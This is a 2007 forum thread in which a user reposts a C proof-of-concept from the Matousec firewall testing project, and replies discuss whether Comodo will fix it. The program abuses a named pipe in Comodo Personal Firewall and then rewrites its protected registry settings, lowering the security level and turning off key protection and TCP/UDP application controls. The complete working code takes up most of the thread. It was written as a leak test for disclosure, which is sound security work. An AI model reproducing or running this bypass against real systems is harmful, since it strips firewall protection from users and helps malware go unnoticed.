CFP easily bypassed! 2007-08-01

I just switched from TINY FIREWALL which was the BEST firewall bar-none, because unfortunately they no longer support the software and it will not be updated. :frowning: :frowning: :frowning:

I switched to Comodo because of the claims that it beats common fierwall-bypass methods aka “leak tests”.

However, to my utter horror, I see that there has been a BYPASS out that works against the CURRENT VERSION OF COMODO for FIVE MONTHS

I signed up here because I was shocked to find not only was this ignored for nearly half a year (to the delight of malware authors) but that there was not a single mention of it on your forums!!

Dear lord. Oh, and can you please get version 3.x working on win2003!? Because any serious computer user today is using win2003 on their desktop, not XP. XP is for gaming only. (Vista is for the insane).

Here is the bypass.

http://www.securityfocus.com/bid/22775

the code:

/*

 Testing program for Bypassing settings protection using magic pipe (BTP00001P005CF)


 Usage:
 prog
   (the program is executed without special arguments)

 Description:
 This program finds a specific named pipe that belongs to CPF and opens 
 and closes it many times. This weird behaviour allows this program to modify protected 
 settings of CPF that are stored in the registry key "HKLM\SYSTEM\Software\Comodo". 

 Test:
 Running the testing program and restarting the system.

*/

#undef __STRICT_ANSI__
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <tlhelp32.h>
#include <ddk/ntapi.h>
#include <ddk/ntifs.h>

void about(void)
{
  printf("Testing program for Bypassing settings protection using magic pipe (BTP00001P005CF)\n");
  printf("Windows Personal Firewall Analysis project\n");
  printf("Copyright 2007 by Matousec - Transparent security\n");
  printf("http://www.matousec.com/""\n\n");
  return;
}

void usage(void)
{
  printf("Usage: test\n"
         "  (the program is executed without special arguments)\n");
  return;
}

void print_last_error(void)
{
  LPTSTR buf;
  DWORD code=GetLastError();
  if (FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,NULL,code,0,(LPTSTR)&buf,0,NULL))
  {
    fprintf(stderr,"Error code: %ld\n",code);
    fprintf(stderr,"Error message: %s",buf);
    LocalFree(buf);
  } else fprintf(stderr,"Unable to format error message for code %ld.\n",code);
  return;
}


/*
 this function returns pointer to a copy of the system table of the given class
 the memory for a copy is newly allocated and must be freed 
 if the function failes the return value is NULL
*/

PVOID get_info_table(DWORD class)
{
  PVOID info;
  DWORD info_size=0x1000;
  for (;;)
  {
    info_size=2*info_size;
    info=malloc(info_size);
    if (!info) break;
    NTSTATUS ret=ZwQuerySystemInformation(class,info,info_size,NULL);
    if (NT_SUCCESS(ret)) break;
    free(info);
    info=NULL;
    if (ret!=STATUS_INFO_LENGTH_MISMATCH) break;
  }
  return info;
}


typedef struct _SYSTEM_HANDLE_INFORMATION_BUFFER
{
  DWORD HandleCount;
  SYSTEM_HANDLE_INFORMATION HandleInfo[0];
} SYSTEM_HANDLE_INFORMATION_BUFFER,*PSYSTEM_HANDLE_INFORMATION_BUFFER;

/*
 this function returns pointer to a copy of the system handle table 
 if the function failed the return value is NULL
 otherwise the caller must free the memory 
*/

PSYSTEM_HANDLE_INFORMATION_BUFFER get_handle_table(void)
{
  return get_info_table(SystemHandleInformation);
}


/*
 set registry DWORD value changes registry value of under key\subkey
 returns FALSE if fails, TRUE otherwise
*/

int set_reg_dw_value(HKEY key,char *subkey,char *vname,DWORD value)
{
  int res=FALSE;

  HKEY hkey;
  LONG ret=RegCreateKeyEx(key,subkey,0,NULL,REG_OPTION_NON_VOLATILE,KEY_SET_VALUE,NULL,&hkey,NULL);
  if (ret==ERROR_SUCCESS)
  {
    ret=RegSetValueEx(hkey,vname,0,REG_DWORD,(BYTE*)&value,sizeof(value));
    if (ret==ERROR_SUCCESS) 
    {
      printf("Registry value \"%s\" was modified in \"%s\".\n",vname,subkey);
      res=TRUE;
    } else fprintf(stderr,"Unable to change registry value \"%s\" in \"%s\".\n",vname,subkey);
    RegCloseKey(hkey);
  } else fprintf(stderr,"Unable to open registry key \"%s\".\n",subkey);
  if (!res)
  {
    SetLastError(ret);
    print_last_error();
  }
  return res;
}


/*
 enable_privilege adds privilege to own token
 returns TRUE if succeed
*/

int enable_privilege(char *priv_name)
{
  DWORD res=0;
  HANDLE tok;
  LUID luid;
  TOKEN_PRIVILEGES privs;

  if (!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,&tok)) return 0;
  if (LookupPrivilegeValue(NULL,priv_name,&luid))
  {
    privs.PrivilegeCount=1;
    privs.Privileges[0].Luid=luid;
    privs.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
    DWORD ret_len;
    res=AdjustTokenPrivileges(tok,0,&privs,sizeof(TOKEN_PRIVILEGES),NULL,&ret_len);
    CloseHandle(tok);
  }
  return res;
}


/*
 enable_debug_privilege adds debug privilege to own token
 returns TRUE if succeed
*/

int enable_debug_privilege(void)
{
  return enable_privilege(SE_DEBUG_NAME);
}

                                    
int main(int argc,char **argv)
{
  about();

  if (argc!=1)
  {
    usage();
    return 1;
  }

  PSYSTEM_HANDLE_INFORMATION_BUFFER handle_table=get_handle_table();
  if (!handle_table)
  {
    fprintf(stderr,"Unable to obtain the system handle table.\n");
    printf("\nTEST FAILED!\n");
    return 1;
  }


  HANDLE syspr=NULL;
  DWORD syspid=0;
  HANDLE shot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);

  if (shot==INVALID_HANDLE_VALUE)
  {
    fprintf(stderr,"Unable to create toolhelp snapshot.\n");
    print_last_error();
    fprintf(stderr,"\n");
    printf("\nTEST FAILED!\n");
    return 1;
  }

  PROCESSENTRY32 pe;

  pe.dwSize=sizeof(pe);

  if (!Process32First(shot,&pe))
  {
    CloseHandle(shot);
    fprintf(stderr,"Unable to enumerate processes.\n");
    print_last_error();
    fprintf(stderr,"\n");
    printf("\nTEST FAILED!\n");
    return 1;
  }

  enable_debug_privilege();
  do
  {
    if (stricmp(pe.szExeFile,"System")) continue;

    syspid=pe.th32ProcessID;
    printf("System process found, PID = %ld.\n",syspid);

    syspr=OpenProcess(PROCESS_DUP_HANDLE,FALSE,pe.th32ProcessID);
    break;
  } while (Process32Next(shot,&pe));

  CloseHandle(shot);

  if (!syspr)
  { 
    fprintf(stderr,"Unable to find or open system process.\n");
    print_last_error();
    fprintf(stderr,"\n");
    printf("\nTEST FAILED!\n");
    return 1;
  }

  int pipefound=FALSE;
  char pipename[128]="";
  for (int i=0;i<handle_table->HandleCount;i++)
  {
    PSYSTEM_HANDLE_INFORMATION handle=&handle_table->HandleInfo[i];
    if (handle->ProcessId==syspid)
    {
      HANDLE dup_handle;
      HANDLE org_handle=(HANDLE)(LONG)handle->Handle;
      if (DuplicateHandle(syspr,org_handle,GetCurrentProcess(),&dup_handle,0,FALSE,DUPLICATE_SAME_ACCESS))
      {
        char buffer[2048];
        POBJECT_NAME_INFORMATION info=(PVOID)buffer;
        NTSTATUS status=ZwQueryObject(dup_handle,ObjectNameInformation,buffer,sizeof(buffer),NULL);
        if (NT_SUCCESS(status))
        {
          char name[512];
          memset(name,0,sizeof(name));
          PUNICODE_STRING uni_name=&info->Name;
          ANSI_STRING ansi_name={0,512,name};
          RtlUnicodeStringToAnsiString(&ansi_name,uni_name,FALSE);
          char *pat="\\Device\\NamedPipe\\OLE";
          if (!strnicmp(name,pat,strlen(pat)))
          {
            strncpy(pipename,name,128);
            pipename[127]='\0';
            pipefound=TRUE;
            printf("Pipe found! Pipe name = \"%s\".\n",name);
          }
        }
      }
    }
  }

  CloseHandle(syspr);
  free(handle_table);
  if (!pipefound)
  {
    fprintf(stderr,"Unable to find magic pipe.\n");
    printf("\nTEST FAILED!\n");
    return 1;
  }
  printf("\n");
  char *name=pipename;

  ANSI_STRING ansiname;
  UNICODE_STRING uniname;
  RtlInitAnsiString(&ansiname,name);
  if (NT_SUCCESS(RtlAnsiStringToUnicodeString(&uniname,&ansiname,TRUE)))
  {
    OBJECT_ATTRIBUTES oa;
    InitializeObjectAttributes(&oa,&uniname,OBJ_CASE_INSENSITIVE,0,NULL);
    for (int i=0;i<100;i++)  
    {
      HANDLE file=NULL;
      IO_STATUS_BLOCK iosb;

      NTSTATUS status=ZwOpenFile(&file,FILE_READ_ACCESS,&oa,&iosb,FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,0);
      if (NT_SUCCESS(status)) ZwClose(file);
    }
    RtlFreeUnicodeString(&uniname);
  }


  if (set_reg_dw_value(HKEY_LOCAL_MACHINE,"SYSTEM\\Software\\Comodo\\Personal Firewall","SecurityLevel",2)
   && set_reg_dw_value(HKEY_LOCAL_MACHINE,"SYSTEM\\Software\\Comodo\\Personal Firewall","ProtectKeys",0)
   && set_reg_dw_value(HKEY_LOCAL_MACHINE,"SYSTEM\\Software\\Comodo\\Personal Firewall\\AppCtrl","Operating",2)
   && set_reg_dw_value(HKEY_LOCAL_MACHINE,"SYSTEM\\Software\\Comodo\\Personal Firewall\\AppCtrl","OperationMode",2)
   && set_reg_dw_value(HKEY_LOCAL_MACHINE,"SYSTEM\\Software\\Comodo\\Personal Firewall\\AppCtrl","TcpIn",0)
   && set_reg_dw_value(HKEY_LOCAL_MACHINE,"SYSTEM\\Software\\Comodo\\Personal Firewall\\AppCtrl","TcpOut",0)
   && set_reg_dw_value(HKEY_LOCAL_MACHINE,"SYSTEM\\Software\\Comodo\\Personal Firewall\\AppCtrl","UdpIn",0)
   && set_reg_dw_value(HKEY_LOCAL_MACHINE,"SYSTEM\\Software\\Comodo\\Personal Firewall\\AppCtrl","UdpOut",0)
   && set_reg_dw_value(HKEY_LOCAL_MACHINE,"SYSTEM\\Software\\Comodo\\Personal Firewall\\NetCtrl","Mode",2))
  {
    printf("\nTEST SUCCESSFUL!\n");
    return 0;
  }

  printf("\nTEST FAILED!\n");
  return 1;
}

edit: changed QUOTE to CODE to stop the BB changing things. kail (Mod).

Hi aph,

Since no one posted on forum (or contacted Comodo), no one knew about this until you posted this, so thanks.
And also, I think it won’t be fixed as CPF3 is on the way, but maybe they’ll fix all 2.4 bug and all vulnerabilites, and make a v 2.5 for non XP/Vista-users, and I’m not sure, but think someone mentioned CPF3 Final being released for Windows 2003. Else if it’s not possible, it’s because only XP and Vista supports the functions of CPF3.
Anyways, thanks for telling us about this, hopefully they’ll test it so CPF3 will pass it :wink:

Ragwing

Many computer users have XP because their companies have decided so, or because they got an OEM version when buying a computer. It’s not only for gaming.


We all would be glad if the Comodo staff could confirm this vulnerability!

Thanks,
/LA

Oh by the way, here’s about CPF3 for Windows 2003:

https://forums.comodo.com/empty-t10778.0.html;topicseen

According to what panic says in the topic:

I think it will support Windows 2003 :wink:

Ragwing

aph: welcome to the forum.

Actually, the magic pipe (and not the one that you see in rainbow colours after smoking it ;)) vulernerability was already discovered by Matousec long ago and has been raised in this forum before:
https://forums.comodo.com/feedbackcommentsannouncementsnews/matouseccom_advisories-t8419.0.html
https://forums.comodo.com/help/23681bugs_reported_on_matousec_have_they_been_fixed-t10374.0.html;msg75264#msg75264
https://forums.comodo.com/italiano_italian/modifiche_necessarie_x_comodo_fw-t7151.0.html → This one’s in Italian in case you need it.

So according to Melih, v3 will fix it.

Excellent!

LA

So is that confirmed? Will it be fixed in 2x versions?

Is the latest beta of 3x still vulnerable?

Wait for Matousec to review version 3 if you want confirmation.

Yep! that was exactly Matousec’s one. Anyway, although I wish for an update to V2 too, that exploit is going to work only if you are specifically targeted. There are billion of pc out there relying only on windows own firewall and using Internet explorer (meaning they are not protected at all).

They will be likely targets for virus/malware writers who will be more reluctant to bother themself handling security-savy users using better firewalls (anything is better than windows one).

But if aph feel uncomfortable with that exploit he can add a HIPS like Winpooch to his system.

It is an opensourced one so its code would be easily reviewed and patched.

He can disable V2 Registry protection and let Winpoch guard CPF registry settings instead.
This will nullify the chances of such exploit working on his pc.
Anyway Winpooch Bark will make you mad if you don’t disable it. :o